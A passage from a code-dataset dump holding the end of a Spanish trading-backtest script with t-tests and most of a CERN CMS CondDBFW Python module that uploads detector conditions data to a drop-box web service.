mt5.order_send(orden_cierre)\n\n\n###################################################################################\n# Análisis de igualdad #\n\ndata = pd.read_excel('resultados_pruebas.xlsx')\n\nfrom scipy.stats import ttest_rel\n\nstat, p = ttest_rel(data['Backtesting'], data['Demo'])\n\nif p > 0.05:\n print(\"Las dos muestras son estadísticamente iguales con un nivel de confianza de\", 1-0.05)\nelse:\n print(\"Las dos muestras son estadísticamente diferentes con un nivel de confianza de\", 1-0.05)\n\n\nstat, p = ttest_rel(data['Backtesting'], data['real'])\n\nif p > 0.05:\n print(\"Las dos muestras son estadísticamente iguales con un nivel de confianza de\", 1-0.05)\nelse:\n print(\"Las dos muestras son estadísticamente diferentes con un nivel de confianza de\", 1-0.05)","repo_name":"ProAek11/algorithmic-trading","sub_path":"Asignación de Variables.py","file_name":"Asignación de Variables.py","file_ext":"py","file_size_in_byte":4063,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"40109222090","text":"#!/usr/bin/env python3\n\"\"\"\n\nJoshua Dawes - CERN, CMS - The University of Manchester\n\nThis module holds classes to help with uploading conditions to the drop box web service, which also uses CondDBFW to read and write data.\n\n\"\"\"\n\nimport os\nimport json\nimport base64\nfrom datetime import datetime\nfrom urllib.parse import urlencode\nimport math\nimport sys\nimport traceback\nimport netrc\n\nfrom .url_query import url_query\nfrom . import models\nfrom . import errors\nfrom . import data_sources\nfrom . import querying\nfrom .errors import *\nfrom .utils import to_timestamp, to_datetime, friendly_since\n\ndef friendly_since(time_type, since):\n \"\"\"\n Takes a since and, if it is Run-based expressed as Lumi-based, returns the run number.\n Otherwise, returns the since without transformations.\n \"\"\"\n if time_type == \"Run\" and (since & 0xffffff) == 0:\n return since >> 32\n else:\n return since\n\n# this is simple, and works for now - if logging requirements change, I will write a logging class to manage logging\ndef log(file_handle, message):\n\t\"\"\"\n\tVery simple logging function, used by output class.\n\t\"\"\"\n\tfile_handle.write(\"[%s] %s\\n\" % (to_timestamp(datetime.utcnow()), message))\n\ndef new_log_file_id():\n\t\"\"\"\n\tFind a new client-side log file name.\n\n\tNote: This cannot use the upload session token since logs need to be written before this is opened.\n\tHowever, this can be changed so that the filename that uses the token is written to once\n\tit is obtained.\n\t\"\"\"\n\t# new id = number of log files + 1\n\t# (primitive - matching the hash of the upload session may be a better idea)\n\tlog_files = [file for file in os.listdir(os.path.join(os.getcwd(), \"upload_logs\")) if \"upload_log\" in file]\n\tnew_id = len(log_files)+1\n\treturn new_id\n\nclass output():\n\t\"\"\"\n\tUsed to control output to the console and to the client-side log.\n\t\"\"\"\n\n\tdef __init__(self, log_handle=None, verbose=False):\n\t\t# first time writing progress bar, don't need to go back along the line\n\t\tself.current_output_length = 0\n\t\tself._verbose = verbose\n\t\tself._log_handle = log_handle\n\n\tdef write(self, message=\"\", ignore_verbose=False):\n\t\t\"\"\"\n\t\tWrite to the console and to the log file held by self.\n\t\t\"\"\"\n\t\tif ignore_verbose:\n\t\t\tprint(message)\n\t\telif self._verbose:\n\t\t\tprint(message)\n\t\tif self._log_handle != None:\n\t\t\tlog(self._log_handle, message)\n\nclass uploader(object):\n\t\"\"\"\n\tUpload session controller - creates, tracks, and deletes upload sessions on the server.\n\t\"\"\"\n\n\tdef __init__(self, metadata_source=None, debug=False, verbose=False, testing=False, server=\"https://cms-conddb-dev.cern.ch/cmsDbCondUpload/\", **kwargs):\n\t\t\"\"\"\n\t\tUpload constructor:\n\t\tGiven an SQLite file and a Metadata sources, reads into a dictionary read for it to be encoded and uploaded.\n\n\t\tNote: kwargs is used to capture stray arguments - arguments that do not match keywords will not be used.\n\n\t\tNote: default value of service_url should be changed for production.\n\t\t\"\"\"\n\t\t# set private variables\n\t\tself._debug = debug\n\t\tself._verbose = verbose\n\t\tself._testing = testing\n\t\t# initialise server-side log data as empty string - will be replaced when we get a response back from the server\n\t\tself._log_data = \"\"\n\t\tself._SERVICE_URL = server\n\t\tself.upload_session_id = None\n\n\t\t# set up client-side log file\n\t\tself.upload_log_file_name = \"upload_logs/upload_log_%d\" % new_log_file_id()\n\t\tself._handle = open(self.upload_log_file_name, \"a\")\n\n\t\t# set up client-side logging object\n\t\tself._outputter = output(verbose=verbose, log_handle=self._handle)\n\t\tself._outputter.write(\"Using server instance at '%s'.\" % self._SERVICE_URL)\n\n\t\t# expect a CondDBFW data_source object for metadata_source\n\t\tif metadata_source == None:\n\t\t\t# no upload metadat has been given - we cannot continue with the upload\n\t\t\tself.exit_upload(\"A source of metadata must be given so CondDBFW knows how to upload conditions.\")\n\t\telse:\n\t\t\t# set up global metadata source variable\n\t\t\tself.metadata_source = metadata_source.data()\n\n\t\t# check for the destination tag\n\t\t# this is required whatever type of upload we're performing\n\t\tif self.metadata_source.get(\"destinationTags\") == None:\n\t\t\tself.exit_upload(\"No destination Tag was given.\")\n\t\telse:\n\t\t\tif type(self.metadata_source.get(\"destinationTags\")) == dict and list(self.metadata_source.get(\"destinationTags\").keys())[0] == None:\n\t\t\t\tself.exit_upload(\"No destination Tag was given.\")\n\n\t\t# make sure a destination database was given\n\t\tif self.metadata_source.get(\"destinationDatabase\") == None:\n\t\t\tself.exit_upload(\"No destination database was given.\")\n\n\t\t# get Conditions metadata\n\t\tif self.metadata_source.get(\"sourceDB\") == None and self.metadata_source.get(\"hashToUse\") == None:\n\t\t\t\"\"\"\n\t\t\tIf we have neither an sqlite file nor the command line data\n\t\t\t\"\"\"\n\t\t\tself.exit_upload(\"You must give either an SQLite database file, or the necessary command line arguments to replace one.\"\\\n\t\t\t\t\t\t\t+ \"\\nSee --help for command line argument information.\")\n\t\telif self.metadata_source.get(\"sourceDB\") != None:\n\t\t\t\"\"\"\n\t\t\tWe've been given an SQLite file, so try to extract Conditions Metadata based on that and the Upload Metadata in metadata_source\n\t\t\tWe now extract the Tag and IOV data from SQLite. It is added to the dictionary for sending over HTTPs later.\n\t\t\t\"\"\"\n\n\t\t\t# make sure we have an input tag to look for in the source db\n\t\t\tself.input_tag = metadata_source.data().get(\"inputTag\")\n\t\t\tif self.input_tag == None:\n\t\t\t\tself.exit_upload(\"No input Tag name was given.\")\n\n\t\t\t# set empty dictionary to contain Tag and IOV data from SQLite\n\t\t\tresult_dictionary = {}\n\t\t\tself.sqlite_file_name = self.metadata_source[\"sourceDB\"]\n\t\t\tif not(os.path.isfile(self.sqlite_file_name)):\n\t\t\t\tself.exit_upload(\"SQLite file '%s' given doesn't exist.\" % self.sqlite_file_name)\n\t\t\tsqlite_con = querying.connect(\"sqlite://%s\" % os.path.abspath(self.sqlite_file_name))\n\n\t\t\tself._outputter.write(\"Getting Tag and IOVs from SQLite database.\")\n\n\t\t\t# query for Tag, check for existence, then convert to dictionary\n\t\t\ttag = sqlite_con.tag(name=self.input_tag)\n\t\t\tif tag == None:\n\t\t\t\tself.exit_upload(\"The source Tag '%s' you gave was not found in the SQLite file.\" % self.input_tag)\n\t\t\ttag = tag.as_dicts(convert_timestamps=True)\n\n\t\t\t# query for IOVs, check for existence, then convert to dictionaries\n\t\t\tiovs = sqlite_con.iov(tag_name=self.input_tag)\n\t\t\tif iovs == None:\n\t\t\t\tself.exit_upload(\"No IOVs found in the SQLite file given for Tag '%s'.\" % self.input_tag)\n\t\t\tiovs = iovs.as_dicts(convert_timestamps=True)\n\t\t\tiovs = [iovs] if type(iovs) != list else iovs\n\n\t\t\t\"\"\"\n\t\t\tFinally, get the list of all Payload hashes of IOVs,\n\t\t\tthen compute the list of hashes for which there is no Payload for\n\t\t\tthis is used later to decide if we can continue the upload if the Payload was not found on the server.\n\t\t\t\"\"\"\n\t\t\tiovs_for_hashes = sqlite_con.iov(tag_name=self.input_tag)\n\t\t\tif iovs_for_hashes.__class__ == data_sources.json_list:\n\t\t\t\thashes_of_iovs = iovs_for_hashes.get_members(\"payload_hash\").data()\n\t\t\telse:\n\t\t\t\thashes_of_iovs = [iovs_for_hashes.payload_hash]\n\t\t\tself.hashes_with_no_local_payload = [payload_hash for payload_hash in hashes_of_iovs if sqlite_con.payload(hash=payload_hash) == None]\n\n\t\t\t# close session open on SQLite database file\n\t\t\tsqlite_con.close_session()\n\n\t\telif metadata_source.data().get(\"hashToUse\") != None:\n\t\t\t\"\"\"\n\t\t\tAssume we've been given metadata in the command line (since no sqlite file is there, and we have command line arguments).\n\t\t\tWe now use Tag and IOV data from command line. It is added to the dictionary for sending over HTTPs later.\n\t\t\t\"\"\"\n\n\t\t\t# set empty dictionary to contain Tag and IOV data from command line\n\t\t\tresult_dictionary = {}\n\n\t\t\tnow = to_timestamp(datetime.utcnow())\n\t\t\t# tag dictionary will be taken from the server\n\t\t\t# this does not require any authentication\n\t\t\ttag = self.get_tag_dictionary()\n\t\t\tself.check_response_for_error_key(tag)\n\t\t\tiovs = [{\"tag_name\" : self.metadata_source[\"destinationTag\"], \"since\" : self.metadata_source[\"since\"], \"payload_hash\" : self.metadata_source[\"hashToUse\"],\\\n\t\t\t\t\t\"insertion_time\" : now}]\n\n\t\t\t# hashToUse cannot be stored locally (no sqlite file is given), so register it as not found\n\t\t\tself.hashes_with_no_local_payload = [self.metadata_source[\"hashToUse\"]]\n\n\t\t\t# Note: normal optimisations will still take place - since the hash checking stage can tell if hashToUse does not exist on the server side\n\n\t\t# if the source Tag is run-based, convert sinces to lumi-based sinces with lumi-section = 0\n\t\tif tag[\"time_type\"] == \"Run\":\n\t\t\tfor (i, iov) in enumerate(iovs):\n\t\t\t\tiovs[i][\"since\"] = iovs[i][\"since\"] << 32\n\n\t\tresult_dictionary = {\"inputTagData\" : tag, \"iovs\" : iovs}\n\n\t\t# add command line arguments to dictionary\n\t\t# remembering that metadata_source is a json_dict object\n\t\tresult_dictionary.update(metadata_source.data())\n\n\t\t# store in instance variable\n\t\tself.data_to_send = result_dictionary\n\n\t\t# if the since doesn't exist, take the first since from the list of IOVs\n\t\tif result_dictionary.get(\"since\") == None:\n\t\t\tresult_dictionary[\"since\"] = sorted(iovs, key=lambda iov : iov[\"since\"])[0][\"since\"]\n\t\telif self.data_to_send[\"inputTagData\"][\"time_type\"] == \"Run\":\n\t\t\t# Tag time_type says IOVs use Runs for sinces, so we convert to Lumi-based for uniform processing\n\t\t\tself.data_to_send[\"since\"] = self.data_to_send[\"since\"] << 32\n\n\t\t\"\"\"\n\t\tTODO - Settle on a single destination tag format.\n\t\t\"\"\"\n\t\t# look for deprecated metadata entries - give warnings\n\t\t# Note - we only really support this format\n\t\ttry:\n\t\t\tif type(result_dictionary[\"destinationTags\"]) == dict:\n\t\t\t\tself._outputter.write(\"WARNING: Multiple destination tags in a single metadata source is deprecated.\")\n\t\texcept Exception as e:\n\t\t\tself._outputter.write(\"ERROR: %s\" % str(e))\n\n\t@check_response(check=\"json\")\n\tdef get_tag_dictionary(self):\n\t\turl_data = {\"tag_name\" : self.metadata_source[\"destinationTag\"], \"database\" : self.metadata_source[\"destinationDatabase\"]}\n\t\trequest = url_query(url=self._SERVICE_URL + \"get_tag_dictionary/\", url_data=url_data)\n\t\tresponse = request.send()\n\t\treturn response\n\n\tdef check_response_for_error_key(self, response_dict, exit_if_error=True):\n\t\t\"\"\"\n\t\tChecks the decoded response of an HTTP request to the server.\n\t\tIf it is a dictionary, and one of its keys is \"error\", the server returned an error\n\t\t\"\"\"\n\t\t# if the decoded response data is a dictionary and has an error key in it, we should display an error and its traceback\n\t\tif type(response_dict) == dict and \"error\" in list(response_dict.keys()):\n\t\t\tsplitter_string = \"\\n%s\\n\" % (\"-\"*50)\n\t\t\tself._outputter.write(\"\\nERROR: %s\" % splitter_string, ignore_verbose=True)\n\t\t\tself._outputter.write(response_dict[\"error\"], ignore_verbose=True)\n\n\t\t\t# if the user has given the --debug flag, show the traceback as well\n\t\t\tif self._debug:\n\t\t\t\t# suggest to the user to email this to db upload experts\n\t\t\t\tself._outputter.write(\"\\nTRACEBACK (since --debug is set):%s\" % splitter_string, ignore_verbose=True)\n\t\t\t\tif response_dict.get(\"traceback\") != None:\n\t\t\t\t\tself._outputter.write(response_dict[\"traceback\"], ignore_verbose=True)\n\t\t\t\telse:\n\t\t\t\t\tself._outputter.write(\"No traceback was returned from the server.\", ignore_verbose=True)\n\t\t\telse:\n\t\t\t\tself._outputter.write(\"Use the --debug option to show the traceback of this error.\", ignore_verbose=True)\n\n\t\t\t# write server side log to client side (if we have an error from creating an upload session, the log is in its initial state (\"\"))\n\t\t\t# if an error has occurred on the server side, a log will have been written\n\t\t\tself.write_server_side_log(response_dict.get(\"log_data\"))\n\n\t\t\tif exit_if_error:\n\t\t\t\tif self._testing:\n\t\t\t\t\treturn False\n\t\t\t\telse:\n\t\t\t\t\texit()\n\t\telif not(\"error\" in list(response_dict.keys())) and \"log_data\" in list(response_dict.keys()):\n\t\t\t# store the log data, if it's there, in memory - this is used if a request times out and we don't get any log data back\n\t\t\tself._log_data = response_dict[\"log_data\"]\n\t\t\treturn True\n\n\tdef write_server_side_log(self, log_data):\n\t\t\"\"\"\n\t\tGiven the log data from the server, write it to a client-side log file.\n\t\t\"\"\"\n\t\t# if the server_side_log directory doesn't exist, create it\n\t\t# without it we can't write the log when we download it from the server\n\t\tif not(os.path.exists(os.path.join(os.getcwd(), \"server_side_logs/\"))):\n\t\t\tos.makedirs(\"server_side_logs/\")\n\n\t\t# directory exists now, write to client-side log file\n\t\tserver_log_file_name = None\n\t\ttry:\n\t\t\t# if the upload session does not exist yet, don't try to write the log file\n\t\t\tif self.upload_session_id == None:\n\t\t\t\traise Exception(\"No upload session\")\n\t\t\t# create a write handle to the file, decode the log data from base64, write and close\n\t\t\tserver_log_file_name = \"server_side_logs/upload_log_%s\" % str(self.upload_session_id)\n\t\t\thandle = open(server_log_file_name, \"w\")\n\t\t\thandle.write(base64.b64decode(log_data))\n\t\t\thandle.close()\n\t\texcept Exception as e:\n\t\t\t# reset log file name to None so we don't try to write it later\n\t\t\tserver_log_file_name = None\n\t\t\t#self._outputter.write(\"Couldn't write the server-side log file.\\nThis may be because no upload session could be opened.\")\n\n\t\t# tell the user where the log files are\n\t\t# in the next iteration we may just merge the log files and store one log (how it's done in the plotter module)\n\t\tif server_log_file_name != None:\n\t\t\tprint(\"Log file from server written to '%s'.\" % server_log_file_name)\n\t\telse:\n\t\t\tprint(\"No server log file could be written locally.\")\n\n\t\tprint(\"Log file from CondDBFW written to '%s'.\" % self.upload_log_file_name)\n\n\tdef exit_upload(self, message=None):\n\t\t\"\"\"\n\t\tUsed to exit the script - which only happens if an error has occurred.\n\t\tIf the --testing flag was passed by the user, we should return False for failure, and not exit\n\t\t\"\"\"\n\t\tif self.upload_session_id != None:\n\t\t\t# only try to close the upload session if an upload session has been obtained\n\t\t\tresponse = self.close_upload_session(self.upload_session_id)\n\t\t\tno_error = self.check_response_for_error_key(response)\n\t\t\t# if no error was found in the upload session closure request,\n\t\t\t# we still have to write the server side log\n\t\t\tif no_error:\n\t\t\t\tself.write_server_side_log(self._log_data)\n\t\t# close client-side log handle\n\t\tself._handle.close()\n\t\tif message != None:\n\t\t\tprint(\"\\n%s\\n\" % message)\n\t\tif self._testing:\n\t\t\treturn False\n\t\telse:\n\t\t\texit()\n\n\tdef upload(self):\n\t\t\"\"\"\n\t\tCalls methods that send HTTP requests to the upload server.\n\t\t\"\"\"\n\n\t\t\"\"\"\n\t\tOpen an upload session on the server - this also gives us a tag lock on the tag being uploaded, if it is available.\n\t\t\"\"\"\n\t\ttry:\n\n\t\t\t# get upload session, check response for error key\n\t\t\tupload_session_data = self.get_upload_session_id()\n\t\t\tno_error = self.check_response_for_error_key(upload_session_data)\n\n\t\t\t# if there was an error and we're testing, return False for the testing module\n\t\t\tif not(no_error) and self._testing:\n\t\t\t\treturn False\n\n\t\t\tself.upload_session_id = upload_session_data[\"id\"]\n\t\t\tself._outputter.write(\"Upload session obtained with token '%s'.\" % self.upload_session_id)\n\t\t\tself.server_side_log_file = upload_session_data[\"log_file\"]\n\n\t\texcept errors.NoMoreRetriesException as no_more_retries:\n\t\t\treturn self.exit_upload(\"Ran out of retries opening an upload session, where the limit was 3.\")\n\t\texcept Exception as e:\n\t\t\t# something went wrong that we have no specific exception for, so just exit and output the traceback if --debug is set.\n\t\t\tself._outputter.write(traceback.format_exc(), ignore_verbose=True)\n\n\t\t\tif not(self._verbose):\n\t\t\t\tself._outputter.write(\"Something went wrong that isn't handled by code - to get the traceback, run again with --verbose.\")\n\t\t\telse:\n\t\t\t\tself._outputter.write(\"Something went wrong that isn't handled by code - the traceback is above.\")\n\n\t\t\treturn self.exit_upload()\n\n\t\t\"\"\"\n\t\tOnly if a value is given for --fcsr-filter, run FCSR filtering on the IOVs locally.\n\t\t\"\"\"\n\t\tif self.data_to_send[\"fcsr_filter\"] != None:\n\t\t\t\"\"\"\n\t\t\tFCSR Filtering:\n\t\t\tFiltering the IOVs before we send them by getting the First Conditions Safe Run\n\t\t\tfrom the server based on the target synchronization type.\n\t\t\t\"\"\"\n\t\t\tif self.data_to_send[\"inputTagData\"][\"time_type\"] != \"Time\":\n\t\t\t\t# if we have a time-based tag, we can't do FCSR validation - this is also the case on the server side\n\t\t\t\ttry:\n\t\t\t\t\tself.filter_iovs_by_fcsr(self.upload_session_id)\n\t\t\t\t\t# this function does not return a value, since it just operates on data - so no point checking for an error key\n\t\t\t\t\t# the error key check is done inside the function on the response from the server\n\t\t\t\texcept errors.NoMoreRetriesException as no_more_retries:\n\t\t\t\t\treturn self.exit_upload(\"Ran out of retries trying to filter IOVs by FCSR from server, where the limit was 3.\")\n\t\t\t\texcept Exception as e:\n\t\t\t\t\t# something went wrong that we have no specific exception for, so just exit and output the traceback if --debug is set.\n\t\t\t\t\tself._outputter.write(traceback.format_exc(), ignore_verbose=True)\n\n\t\t\t\t\tif not(self._verbose):\n\t\t\t\t\t\tself._outputter.write(\"Something went wrong that isn't handled by code - to get the traceback, run again with --verbose.\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tself._outputter.write(\"Something went wrong that isn't handled by code - the traceback is above.\")\n\n\t\t\t\t\treturn self.exit_upload()\n\t\t\telse:\n\t\t\t\tself._outputter.write(\"The Tag you're uploading is time-based, so we can't do any FCSR-based validation. FCSR filtering is being skipped.\")\n\n\t\t\"\"\"\n\t\tCheck for the hashes that the server doesn't have - only send these (but in the next step).\n\t\t\"\"\"\n\t\ttry:\n\n\t\t\tcheck_hashes_response = self.get_hashes_to_send(self.upload_session_id)\n\t\t\t# check for an error key in the response\n\t\t\tno_error = self.check_response_for_error_key(check_hashes_response)\n\n\t\t\t# if there was an error and we're testing, return False for the testing module\n\t\t\tif not(no_error) and self._testing:\n\t\t\t\treturn False\n\n\t\t\t# finally, check hashes_not_found with hashes not found locally - if there is an intersection, we stop the upload\n\t\t\t# because if a hash is not found and is not on the server, there is no data to upload\n\t\t\tall_hashes = [iov[\"payload_hash\"] for iov in self.data_to_send[\"iovs\"]]\n\t\t\thashes_not_found = check_hashes_response[\"hashes_not_found\"]\n\t\t\thashes_found = list(set(all_hashes) - set(hashes_not_found))\n\t\t\tself._outputter.write(\"Checking for IOVs that have no Payload locally or on the server.\")\n\t\t\t# check if any hashes not found on the server is used in the local SQLite database\n\t\t\tfor hash_not_found in hashes_not_found:\n\t\t\t\tif hash_not_found in self.hashes_with_no_local_payload:\n\t\t\t\t\treturn self.exit_upload(\"IOV with hash '%s' does not have a Payload locally or on the server. Cannot continue.\" % hash_not_found)\n\n\t\t\tfor hash_found in hashes_found:\n\t\t\t\tif hash_found in self.hashes_with_no_local_payload:\n\t\t\t\t\tself._outputter.write(\"Payload with hash %s on server, so can upload IOV.\" % hash_found)\n\n\t\t\tself._outputter.write(\"All IOVs either come with Payloads or point to a Payload already on the server.\")\n\n\t\texcept errors.NoMoreRetriesException as no_more_retries:\n\t\t\t# for now, just write the log if we get a NoMoreRetriesException\n\t\t\treturn self.exit_upload(\"Ran out of retries trying to check hashes of payloads to send, where the limit was 3.\")\n\t\texcept Exception as e:\n\t\t\t# something went wrong that we have no specific exception for, so just exit and output the traceback if --debug is set.\n\t\t\tself._outputter.write(traceback.format_exc(), ignore_verbose=True)\n\n\t\t\tif not(self._verbose):\n\t\t\t\tself._outputter.write(\"Something went wrong that isn't handled by code - to get the traceback, run again with --verbose.\")\n\t\t\telse:\n\t\t\t\tself._outputter.write(\"Something went wrong that isn't handled by code - the traceback is above.\")\n\n\t\t\treturn self.exit_upload()\n\n\t\t\"\"\"\n\t\tSend the payloads the server told us about in the previous step (returned from get_hashes_to_send)\n\t\texception handling is done inside this method, since it calls a method itself for each payload.\n\t\t\"\"\"\n\t\tsend_payloads_response = self.send_payloads(check_hashes_response[\"hashes_not_found\"], self.upload_session_id)\n\t\tif self._testing and not(send_payloads_response):\n\t\t\treturn False\n\n\t\t\"\"\"\n\t\tFinal stage - send metadata to server (since the payloads are there now)\n\t\tif this is successful, once it finished the upload session is closed on the server and the tag lock is released.\n\t\t\"\"\"\n\t\ttry:\n\n\t\t\t# note that the response (in send_metadata_response) is already decoded from base64 by the response check decorator\n\t\t\tsend_metadata_response = self.send_metadata(self.upload_session_id)\n\t\t\tno_error = self.check_response_for_error_key(send_metadata_response)\n\t\t\tif not(no_error) and self._testing:\n\t\t\t\treturn False\n\n\t\t\t# we have to call this explicitly here since check_response_for_error_key only writes the log file\n\t\t\t# if an error has occurred, whereas it should always be written here\n\t\t\tself.write_server_side_log(self._log_data)\n\n\t\texcept errors.NoMoreRetriesException as no_more_retries:\n\t\t\treturn self.exit_upload(\"Ran out of retries trying to send metadata, where the limit was 3.\")\n\t\texcept Exception as e:\n\t\t\t# something went wrong that we have no specific exception for, so just exit and output the traceback if --debug is set.\n\t\t\tself._outputter.write(traceback.format_exc(), ignore_verbose=True)\n\n\t\t\tif not(self._verbose):\n\t\t\t\tself._outputter.write(\"Something went wrong that isn't handled by code - to get the traceback, run again with --verbose.\")\n\t\t\telse:\n\t\t\t\tself._outputter.write(\"Something went wrong that isn't handled by code - the traceback is above.\")\n\n\t\t\treturn self.exit_upload()\n\n\t\t# close client side log handle\n\t\tself._handle.close()\n\n\t\t# if we're running the testing script, return True to say the upload has worked\n\t\tif self._testing:\n\t\t\treturn True\n\n\t@check_response(check=\"json\")\n\tdef get_upload_session_id(self):\n\t\t\"\"\"\n\t\tOpen an upload session on the server, and get a unique token back that we can use to authenticate for all future requests,\n\t\tas long as the upload session is still open.\n\t\t\"\"\"\n\t\tself._outputter.write(\"Getting upload session.\")\n\n\t\t# send password in the body so it can be encrypted over https\n\t\t# username and password are taken from the netrc file\n\t\t# at this point, the value in username_or_token is always a username, since\n\t\t# this method's end result is obtaining a token.\n\t\tbody_data = base64.b64encode(json.dumps(\n\t\t\t\t{\n\t\t\t\t\t\"destinationTag\" : list(self.data_to_send[\"destinationTags\"].keys())[0],\n\t\t\t\t\t\"username_or_token\" : self.data_to_send[\"username\"],\n\t\t\t\t\t\"password\" : self.data_to_send[\"password\"]\n\t\t\t\t}\n\t\t\t).encode('UTF-8'))\n\n\t\turl_data = {\"database\" : self.data_to_send[\"destinationDatabase\"]}\n\n\t\tquery = url_query(url=self._SERVICE_URL + \"get_upload_session/\", body=body_data, url_data=url_data)\n\t\tresponse = query.send()\n\t\treturn response\n\n\t@check_response(check=\"json\")\n\tdef close_upload_session(self, upload_session_id):\n\t\t\"\"\"\n\t\tClose an upload session on the server by calling its close_upload_session end-point.\n\t\tThis is done if there is an error on the client-side.\n\t\t\"\"\"\n\t\tself._outputter.write(\"An error occurred - closing the upload session on the server.\")\n\t\turl_data = {\"database\" : self.data_to_send[\"destinationDatabase\"], \"upload_session_id\" : upload_session_id}\n\t\tquery = url_query(url=self._SERVICE_URL + \"close_upload_session/\", url_data=url_data)\n\t\tresponse = query.send()\n\t\treturn response\n\n\t@check_response(check=\"json\")\n\tdef get_fcsr_from_server(self, upload_session_id):\n\t\t\"\"\"\n\t\tExecute the HTTPs request to ask the server for the FCSR.\n\n\t\tNote: we do this in a separate function we so we can do the decoding check for json data with check_response.\n\t\t\"\"\"\n\t\t# tiny amount of client-side logic here - all of the work is done on the server\n\t\t# tier0_response uses get() so if the key isn't present, we default to None\n\t\t# tier0_response is for replaying uploads from the old upload service, with knowledge of the tier0 response\n\t\t# when those uploads happened.\n\t\turl_data = {\n\t\t\t\t\t\t\"database\" : self.data_to_send[\"destinationDatabase\"],\n\t\t\t\t\t\t\"upload_session_id\" : upload_session_id,\n\t\t\t\t\t\t\"destinationTag\" : list(self.data_to_send[\"destinationTags\"].keys())[0],\n\t\t\t\t\t\t\"sourceTagSync\" : self.data_to_send[\"fcsr_filter\"],\n\t\t\t\t\t\t\"tier0_response\" : self.data_to_send.get(\"tier0_response\")\n\t\t\t\t\t}\n\t\tquery = url_query(url=self._SERVICE_URL + \"get_fcsr/\", url_data=url_data)\n\t\tresult = query.send()\n\t\treturn result\n\n\tdef filter_iovs_by_fcsr(self, upload_session_id):\n\t\t\"\"\"\n\t\tAsk for the server for the FCSR based on the synchronization type of the source Tag.\n\t\tThen, modify the IOVs (possibly remove some) based on the FCSR we received.\n\t\tThis is useful in the case that most IOVs have different payloads, and our FCSR is close to the end of the range the IOVs cover.\n\t\t\"\"\"\n\t\tself._outputter.write(\"Getting the First Condition Safe Run for the current sync type.\")\n\n\t\tfcsr_data = self.get_fcsr_from_server(upload_session_id)\n\t\tfcsr = fcsr_data[\"fcsr\"]\n\t\tfcsr_changed = fcsr_data[\"fcsr_changed\"]\n\t\tnew_sync = fcsr_data[\"new_sync\"]\n\n\t\tif fcsr_changed:\n\t\t\tself._outputter.write(\"Synchronization '%s' given was changed to '%s' to match destination Tag.\" % (self.data_to_send[\"fcsr_filter\"], new_sync))\n\n\t\tself._outputter.write(\"Synchronization '%s' gave FCSR %d for FCSR Filtering.\"\\\n\t\t\t\t\t\t\t% (self.data_to_send[\"fcsr_filter\"], friendly_since(self.data_to_send[\"inputTagData\"][\"time_type\"], fcsr)))\n\n\t\t\"\"\"\n\t\tThere may be cases where this assumption is not correct (that we can reassign since if fcsr > since)\n\t\tOnly set since to fcsr from server if the fcsr is further along than the user is trying to upload to\n\t\tNote: this applies to run, lumi and timestamp run_types.\n\t\t\"\"\"\n\n\t\t# if the fcsr is above the since given by the user, we need to set the user since to the fcsr\n\t\tif fcsr > self.data_to_send[\"since\"]:\n\t\t\t# check if we're uploading to offline sync - if so, then user since must be >= fcsr, so we should report an error\n\t\t\tif self.data_to_send[\"fcsr_filter\"].lower() == \"offline\":\n\t\t\t\tself._outputter.write(\"If you're uploading to offline, you can't upload to a since < FCSR.\\nNo upload has been processed.\")\n\t\t\t\tself.exit_upload()\n\t\t\tself.data_to_send[\"since\"] = fcsr\n\n\t\tself._outputter.write(\"Final FCSR after comparison with FCSR received from server is %d.\"\\\n\t\t\t\t\t\t\t\t% friendly_since(self.data_to_send[\"inputTagData\"][\"time_type\"], int(self.data_to_send[\"since\"])))\n\n\t\t\"\"\"\n\t\tPost validation processing assuming destination since is now valid.\n\n\t\tBecause we don't have an sqlite database to query (everything's in a dictionary),\n\t\twe have to go through the IOVs manually find the greatest since that's less than\n\t\tthe destination since.\n\n\t\tPurpose of this algorithm: move any IOV sinces that we can use up to the fcsr without leaving a hole in the Conditions coverage\n\t\t\"\"\"\n\t\t\n\t\tmax_since_below_dest = self.data_to_send[\"iovs\"][0][\"since\"]\n\t\tfor (i, iov) in enumerate(self.data_to_send[\"iovs\"]):\n\t\t\tif self.data_to_send[\"iovs\"][i][\"since\"] <= self.data_to_send[\"since\"] and self.data_to_send[\"iovs\"][i][\"since\"] > max_since_below_dest:\n\t\t\t\tmax_since_below_dest = self.data_to_send[\"iovs\"][i][\"since\"]\n\n\t\t# only select iovs that have sinces >= max_since_below_dest\n\t\t# and then shift any IOVs left to the destination since\n\t\tself.data_to_send[\"iovs\"] = [iov for iov in self.data_to_send[\"iovs\"] if iov[\"since\"] >= max_since_below_dest]\n\t\tfor (i, iov) in enumerate(self.data_to_send[\"iovs\"]):\n\t\t\tif self.data_to_send[\"iovs\"][i][\"since\"] < self.data_to_send[\"since\"]:\n\t\t\t\tself.data_to_send[\"iovs\"][i][\"since\"] = self.data_to_send[\"since\"]\n\n\t\t# modify insertion_time of iovs\n\t\tnew_time = to_timestamp(datetime.utcnow())\n\t\tfor (i, iov) in enumerate(self.data_to_send[\"iovs\"]):\n\t\t\tself.data_to_send[\"iovs\"][i][\"insertion_time\"] = new_time\n\n\tdef get_all_hashes(self):\n\t\t\"\"\"\n\t\tGet all the hashes from the dictionary of IOVs we have from the SQLite file.\n\t\t\"\"\"\n\t\tself._outputter.write(\"\\tGetting list of all hashes found in SQLite database.\")\n\t\thashes = [iov[\"payload_hash\"] for iov in self.data_to_send[\"iovs\"]]\n\t\treturn hashes\n\n\t@check_response(check=\"json\")\n\tdef get_hashes_to_send(self, upload_session_id):\n\t\t\"\"\"\n\t\tGet the hashes of the payloads we want to send that the server doesn't have yet.\n\t\t\"\"\"\n\t\tself._outputter.write(\"Getting list of hashes that the server does not have Payloads for, to send to server.\")\n\t\tpost_data = json.dumps(self.get_all_hashes())\n\t\turl_data = {\"database\" : self.data_to_send[\"destinationDatabase\"], \"upload_session_id\" : upload_session_id}\n\t\tquery = url_query(url=self._SERVICE_URL + \"check_hashes/\", url_data=url_data, body=post_data)\n\t\tresponse = query.send()\n\t\treturn response\n\n\tdef send_payloads(self, hashes, upload_session_id):\n\t\t\"\"\"\n\t\tSend a list of payloads corresponding to hashes we got from the SQLite file and filtered by asking the server.\n\t\t\"\"\"\n\t\t# if we have no hashes, we can't send anything\n\t\t# but don't exit since it might mean all the Payloads were already on the server\n\t\tif len(hashes) == 0:\n\t\t\tself._outputter.write(\"No hashes to send - moving to metadata upload.\")\n\t\t\treturn 